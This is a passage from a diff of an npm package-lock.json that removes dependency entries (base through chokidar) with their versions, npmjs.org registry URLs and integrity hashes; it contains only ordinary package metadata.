"sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", - "dev": true, - "dependencies": { - "cache-base": "^1.0.1", - "class-utils": "^0.3.5", - "component-emitter": "^1.2.1", - "define-property": "^1.0.0", - "isobject": "^3.0.1", - "mixin-deep": "^1.2.0", - "pascalcase": "^0.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/base/node_modules/define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "dependencies": { - "is-descriptor": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/base/node_modules/is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/base/node_modules/is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/base/node_modules/is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/base/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/base/node_modules/kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/base64-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.2.1.tgz", - "integrity": "sha1-qRlH2h9KUW6jjltOwOw3c2deCIY=" - }, - "node_modules/bcrypt-pbkdf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", - "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", - "dev": true, - "optional": true, - "dependencies": { - "tweetnacl": "^0.14.3" - } - }, - "node_modules/becke-ch--regex--s0-0-v1--base--pl--lib": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/becke-ch--regex--s0-0-v1--base--pl--lib/-/becke-ch--regex--s0-0-v1--base--pl--lib-1.4.0.tgz", - "integrity": "sha1-Qpzuu/pffpNueNc/vcfacWKyDiA=", - "dev": true - }, - "node_modules/big.js": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/big.js/-/big.js-3.2.0.tgz", - "integrity": "sha512-+hN/Zh2D08Mx65pZ/4g5bsmNiZUuChDiQfTUQ7qJr4/kuopCr88xZsAXv6mBoZEsUI4OuGHlX59qE94K2mMW8Q==", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/binary-extensions": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.8.0.tgz", - "integrity": "sha1-SOyNFt9Dd+rl+liEaCSAr02Vx3Q=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/bindings": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", - "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", - "dev": true, - "optional": true, - "dependencies": { - "file-uri-to-path": "1.0.0" - } - }, - "node_modules/bl": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.1.tgz", - "integrity": "sha1-ysMo977kVzDUBLaSID/LWQ4XLV4=", - "dev": true, - "dependencies": { - "readable-stream": "^2.0.5" - } - }, - "node_modules/block-stream": { - "version": "0.0.9", - "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", - "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", - "dev": true, - "dependencies": { - "inherits": "~2.0.0" - }, - "engines": { - "node": "0.4 || >=0.5.8" - } - }, - "node_modules/bluebird": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", - "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", - "dev": true - }, - "node_modules/bn.js": { - "version": "4.11.7", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.7.tgz", - "integrity": "sha512-LxFiV5mefv0ley0SzqkOPR1bC4EbpPx8LkOz5vMe/Yi15t5hzwgO/G+tc7wOtL4PZTYjwHu8JnEiSLumuSjSfA==", - "dev": true - }, - "node_modules/bo-selector": { - "version": "0.0.10", - "resolved": "https://registry.npmjs.org/bo-selector/-/bo-selector-0.0.10.tgz", - "integrity": "sha1-mBbcsArfN06oeUGoY7Ks/AJq+j4=", - "dev": true - }, - "node_modules/body": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/body/-/body-5.1.0.tgz", - "integrity": "sha1-5LoM5BCkaTYyM2dgnstOZVMSUGk=", - "dev": true, - "dependencies": { - "continuable-cache": "^0.3.1", - "error": "^7.0.0", - "raw-body": "~1.1.0", - "safe-json-parse": "~1.0.1" - } - }, - "node_modules/boolbase": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", - "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", - "dev": true - }, - "node_modules/brace-expansion": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.8.tgz", - "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", - "dev": true, - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/braces": { - "version": "1.8.5", - "resolved": "https://registry.npmjs.org/braces/-/braces-1.8.5.tgz", - "integrity": "sha1-uneWLhLf+WnWt2cR6RS3N4V79qc=", - "dev": true, - "dependencies": { - "expand-range": "^1.8.1", - "preserve": "^0.2.0", - "repeat-element": "^1.1.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/brorand": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", - "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=", - "dev": true - }, - "node_modules/browser-pack": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/browser-pack/-/browser-pack-6.1.0.tgz", - "integrity": "sha512-erYug8XoqzU3IfcU8fUgyHqyOXqIE4tUTTQ+7mqUjQlvnXkOO6OlT9c/ZoJVHYoAaqGxr09CN53G7XIsO4KtWA==", - "dev": true, - "dependencies": { - "combine-source-map": "~0.8.0", - "defined": "^1.0.0", - "JSONStream": "^1.0.3", - "safe-buffer": "^5.1.1", - "through2": "^2.0.0", - "umd": "^3.0.0" - }, - "bin": { - "browser-pack": "bin/cmd.js" - } - }, - "node_modules/browser-resolve": { - "version": "1.11.3", - "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-1.11.3.tgz", - "integrity": "sha512-exDi1BYWB/6raKHmDTCicQfTkqwN5fioMFV4j8BsfMU4R2DK/QfZfK7kOVkmWCNANf0snkBzqGqAJBao9gZMdQ==", - "dev": true, - "dependencies": { - "resolve": "1.1.7" - } - }, - "node_modules/browser-resolve/node_modules/resolve": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", - "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", - "dev": true - }, - "node_modules/browser-stdout": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.0.tgz", - "integrity": "sha1-81HTKWnTL6XXpVZxVCY9korjvR8=", - "dev": true - }, - "node_modules/browserify": { - "version": "16.2.2", - "resolved": "https://registry.npmjs.org/browserify/-/browserify-16.2.2.tgz", - "integrity": "sha512-fMES05wq1Oukts6ksGUU2TMVHHp06LyQt0SIwbXIHm7waSrQmNBZePsU0iM/4f94zbvb/wHma+D1YrdzWYnF/A==", - "dev": true, - "dependencies": { - "assert": "^1.4.0", - "browser-pack": "^6.0.1", - "browser-resolve": "^1.11.0", - "browserify-zlib": "~0.2.0", - "buffer": "^5.0.2", - "cached-path-relative": "^1.0.0", - "concat-stream": "^1.6.0", - "console-browserify": "^1.1.0", - "constants-browserify": "~1.0.0", - "crypto-browserify": "^3.0.0", - "defined": "^1.0.0", - "deps-sort": "^2.0.0", - "domain-browser": "^1.2.0", - "duplexer2": "~0.1.2", - "events": "^2.0.0", - "glob": "^7.1.0", - "has": "^1.0.0", - "htmlescape": "^1.1.0", - "https-browserify": "^1.0.0", - "inherits": "~2.0.1", - "insert-module-globals": "^7.0.0", - "JSONStream": "^1.0.3", - "labeled-stream-splicer": "^2.0.0", - "mkdirp": "^0.5.0", - "module-deps": "^6.0.0", - "os-browserify": "~0.3.0", - "parents": "^1.0.1", - "path-browserify": "~0.0.0", - "process": "~0.11.0", - "punycode": "^1.3.2", - "querystring-es3": "~0.2.0", - "read-only-stream": "^2.0.0", - "readable-stream": "^2.0.2", - "resolve": "^1.1.4", - "shasum": "^1.0.0", - "shell-quote": "^1.6.1", - "stream-browserify": "^2.0.0", - "stream-http": "^2.0.0", - "string_decoder": "^1.1.1", - "subarg": "^1.0.0", - "syntax-error": "^1.1.1", - "through2": "^2.0.0", - "timers-browserify": "^1.0.1", - "tty-browserify": "0.0.1", - "url": "~0.11.0", - "util": "~0.10.1", - "vm-browserify": "^1.0.0", - "xtend": "^4.0.0" - }, - "bin": { - "browserify": "bin/cmd.js" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/browserify-aes": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.0.6.tgz", - "integrity": "sha1-Xncl297x/Vkw1OurSFZ85FHEigo=", - "dev": true, - "dependencies": { - "buffer-xor": "^1.0.2", - "cipher-base": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.0", - "inherits": "^2.0.1" - } - }, - "node_modules/browserify-cache-api": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/browserify-cache-api/-/browserify-cache-api-3.0.1.tgz", - "integrity": "sha1-liR+hT8Gj9bg1FzHPwuyzZd47wI=", - "dev": true, - "dependencies": { - "async": "^1.5.2", - "through2": "^2.0.0", - "xtend": "^4.0.0" - } - }, - "node_modules/browserify-cipher": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.0.tgz", - "integrity": "sha1-mYgkSHS/XtTijalWZtzWasj8Njo=", - "dev": true, - "dependencies": { - "browserify-aes": "^1.0.4", - "browserify-des": "^1.0.0", - "evp_bytestokey": "^1.0.0" - } - }, - "node_modules/browserify-des": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.0.tgz", - "integrity": "sha1-2qJ3cXRwki7S/hhZQRihdUOXId0=", - "dev": true, - "dependencies": { - "cipher-base": "^1.0.1", - "des.js": "^1.0.0", - "inherits": "^2.0.1" - } - }, - "node_modules/browserify-incremental": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/browserify-incremental/-/browserify-incremental-3.1.1.tgz", - "integrity": "sha1-BxPLdYckemMqnwjPG9FpuHi2Koo=", - "dev": true, - "dependencies": { - "browserify-cache-api": "^3.0.0", - "JSONStream": "^0.10.0", - "through2": "^2.0.0", - "xtend": "^4.0.0" - }, - "bin": { - "browserifyinc": "bin/cmd.js" - }, - "peerDependencies": { - "browserify": "*" - } - }, - "node_modules/browserify-incremental/node_modules/jsonparse": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-0.0.5.tgz", - "integrity": "sha1-MwVCrT8KZUZlt3jz6y2an6UHrGQ=", - "dev": true, - "engines": [ - "node >= 0.2.0" - ] - }, - "node_modules/browserify-incremental/node_modules/JSONStream": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-0.10.0.tgz", - "integrity": "sha1-dDSdDYlSK3HzDwoD/5vSDKbxKsA=", - "dev": true, - "dependencies": { - "jsonparse": "0.0.5", - "through": ">=2.2.7 <3" - }, - "bin": { - "JSONStream": "index.js" - }, - "engines": { - "node": "*" - } - }, - "node_modules/browserify-rsa": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", - "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", - "dev": true, - "dependencies": { - "bn.js": "^4.1.0", - "randombytes": "^2.0.1" - } - }, - "node_modules/browserify-sign": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.0.4.tgz", - "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", - "dev": true, - "dependencies": { - "bn.js": "^4.1.1", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.2", - "elliptic": "^6.0.0", - "inherits": "^2.0.1", - "parse-asn1": "^5.0.0" - } - }, - "node_modules/browserify-zlib": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", - "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", - "dev": true, - "dependencies": { - "pako": "~1.0.5" - } - }, - "node_modules/browserify/node_modules/buffer": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.1.0.tgz", - "integrity": "sha512-YkIRgwsZwJWTnyQrsBTWefizHh+8GYj3kbL1BTiAQ/9pwpino0G7B2gp5tx/FUBqUlvtxV85KNR3mwfAtv15Yw==", - "dev": true, - "dependencies": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" - } - }, - "node_modules/browserify/node_modules/concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "engines": [ - "node >= 0.8" - ], - "dependencies": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "node_modules/browserify/node_modules/domain-browser": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", - "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", - "dev": true, - "engines": { - "node": ">=0.4", - "npm": ">=1.2" - } - }, - "node_modules/browserify/node_modules/events": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/events/-/events-2.1.0.tgz", - "integrity": "sha512-3Zmiobend8P9DjmKAty0Era4jV8oJ0yGYe2nJJAxgymF9+N8F2m0hhZiMoWtcfepExzNKZumFU3ksdQbInGWCg==", - "dev": true, - "engines": { - "node": ">=0.4.x" - } - }, - "node_modules/browserify/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/browserify/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "dependencies": { - "safe-buffer": "~5.1.0" - } - }, - "node_modules/browserify/node_modules/tty-browserify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.1.tgz", - "integrity": "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw==", - "dev": true - }, - "node_modules/browserify/node_modules/vm-browserify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.0.tgz", - "integrity": "sha512-iq+S7vZJE60yejDYM0ek6zg308+UZsdtPExWP9VZoCFCz1zkJoXFnAX7aZfd/ZwrkidzdUZL0C/ryW+JwAiIGw==", - "dev": true - }, - "node_modules/browserslist": { - "version": "3.2.8", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz", - "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", - "dev": true, - "dependencies": { - "caniuse-lite": "^1.0.30000844", - "electron-to-chromium": "^1.3.47" - }, - "bin": { - "browserslist": "cli.js" - } - }, - "node_modules/buffer": { - "version": "4.9.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", - "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", - "deprecated": "This version of 'buffer' is out-of-date. You must update to v4.9.2 or newer", - "dev": true, - "dependencies": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4", - "isarray": "^1.0.0" - } - }, - "node_modules/buffer-crc32": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", - "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/buffer-from": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.0.tgz", - "integrity": "sha512-c5mRlguI/Pe2dSZmpER62rSCu0ryKmWddzRYsuXc50U2/g8jMOulc31VZMa4mYx31U5xsmSOpDCgH88Vl9cDGQ==", - "dev": true - }, - "node_modules/buffer-xor": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", - "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=", - "dev": true - }, - "node_modules/builtin-modules": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", - "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/builtin-status-codes": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz", - "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=", - "dev": true - }, - "node_modules/bytes": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-1.0.0.tgz", - "integrity": "sha1-NWnt6Lo0MV+rmcPpLLBMciDeH6g=", - "dev": true - }, - "node_modules/cacache": { - "version": "10.0.4", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", - "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", - "dev": true, - "dependencies": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" - } - }, - "node_modules/cacache/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/cacache/node_modules/y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "dev": true - }, - "node_modules/cache-base": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", - "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", - "dev": true, - "dependencies": { - "collection-visit": "^1.0.0", - "component-emitter": "^1.2.1", - "get-value": "^2.0.6", - "has-value": "^1.0.0", - "isobject": "^3.0.1", - "set-value": "^2.0.0", - "to-object-path": "^0.3.0", - "union-value": "^1.0.0", - "unset-value": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cache-base/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cached-path-relative": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cached-path-relative/-/cached-path-relative-1.0.1.tgz", - "integrity": "sha1-0JxLUoAKpMB44t2BqGmqyQ0uVOc=", - "dev": true - }, - "node_modules/caller-path": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", - "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", - "dev": true, - "dependencies": { - "callsites": "^0.2.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/callsites": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz", - "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/camelcase": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", - "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/camelcase-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", - "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", - "dev": true, - "dependencies": { - "camelcase": "^2.0.0", - "map-obj": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/caniuse-api": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-1.6.1.tgz", - "integrity": "sha1-tTTnxzTE+B7F++isoq0kNUuWLGw=", - "dev": true, - "dependencies": { - "browserslist": "^1.3.6", - "caniuse-db": "^1.0.30000529", - "lodash.memoize": "^4.1.2", - "lodash.uniq": "^4.5.0" - } - }, - "node_modules/caniuse-api/node_modules/browserslist": { - "version": "1.7.7", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", - "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", - "deprecated": "Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.", - "dev": true, - "dependencies": { - "caniuse-db": "^1.0.30000639", - "electron-to-chromium": "^1.2.7" - }, - "bin": { - "browserslist": "cli.js" - } - }, - "node_modules/caniuse-api/node_modules/lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", - "dev": true - }, - "node_modules/caniuse-db": { - "version": "1.0.30000860", - "resolved": "https://registry.npmjs.org/caniuse-db/-/caniuse-db-1.0.30000860.tgz", - "integrity": "sha1-XOqyU6rhcrXwrNDVQoulAcSwjUE=", - "dev": true - }, - "node_modules/caniuse-lite": { - "version": "1.0.30000860", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30000860.tgz", - "integrity": "sha512-6HCqcu+cCwWCY+WLL+rtAsAFt1ufvqMhA8dTfhMQhCJHYhJDhRRrh105DfjqRlTrDK3vvbEq8K0drNsJbymDtQ==", - "dev": true - }, - "node_modules/caseless": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "dev": true - }, - "node_modules/center-align": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz", - "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", - "dev": true, - "dependencies": { - "align-text": "^0.1.3", - "lazy-cache": "^1.0.3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dependencies": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/character-parser": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz", - "integrity": "sha1-x84o821LzZdE5f/CxfzeHHMmH8A=", - "dev": true, - "dependencies": { - "is-regex": "^1.0.3" - } - }, - "node_modules/chardet": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", - "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", - "dev": true - }, - "node_modules/charenc": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", - "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/chart.js": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-2.7.2.tgz", - "integrity": "sha512-90wl3V9xRZ8tnMvMlpcW+0Yg13BelsGS9P9t0ClaDxv/hdypHDr/YAGf+728m11P5ljwyB0ZHfPKCapZFqSqYA==", - "dependencies": { - "chartjs-color": "^2.1.0", - "moment": "^2.10.2" - } - }, - "node_modules/chartjs-color": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/chartjs-color/-/chartjs-color-2.2.0.tgz", - "integrity": "sha1-hKL7dVeH7YXDndbdjHsdiEKbrq4=", - "dependencies": { - "chartjs-color-string": "^0.5.0", - "color-convert": "^0.5.3" - } - }, - "node_modules/chartjs-color-string": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/chartjs-color-string/-/chartjs-color-string-0.5.0.tgz", - "integrity": "sha512-amWNvCOXlOUYxZVDSa0YOab5K/lmEhbFNKI55PWc4mlv28BDzA7zaoQTGxSBgJMHIW+hGX8YUrvw/FH4LyhwSQ==", - "dependencies": { - "color-name": "^1.0.0" - } - }, - "node_modules/chokidar": { - 